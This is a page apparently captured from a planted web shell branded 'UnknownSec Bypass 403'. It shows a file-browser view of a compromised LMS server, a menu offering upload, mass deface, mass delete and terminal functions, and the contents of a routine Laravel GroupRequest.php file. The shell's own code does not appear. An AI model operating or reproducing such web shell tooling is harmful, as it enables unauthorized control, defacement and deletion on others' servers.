UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_64113a7a192d
/
app
/
Http
/
Requests
/
Admin
/
Group
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
GroupRequest.php
<?php namespace EstudioLMS\Http\Requests\Admin\Group; use EstudioLMS\Http\Requests\Request; class GroupRequest extends Request { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $id = Request::get('id'); return [ 'name' => 'required|unique:groups,name' . ($id ? ",$id,id" : ''), 'code' => 'sometimes|unique:groups,code' . ($id ? ",$id,id" : '') ]; } }
Copyright © 2026 - UnknownSec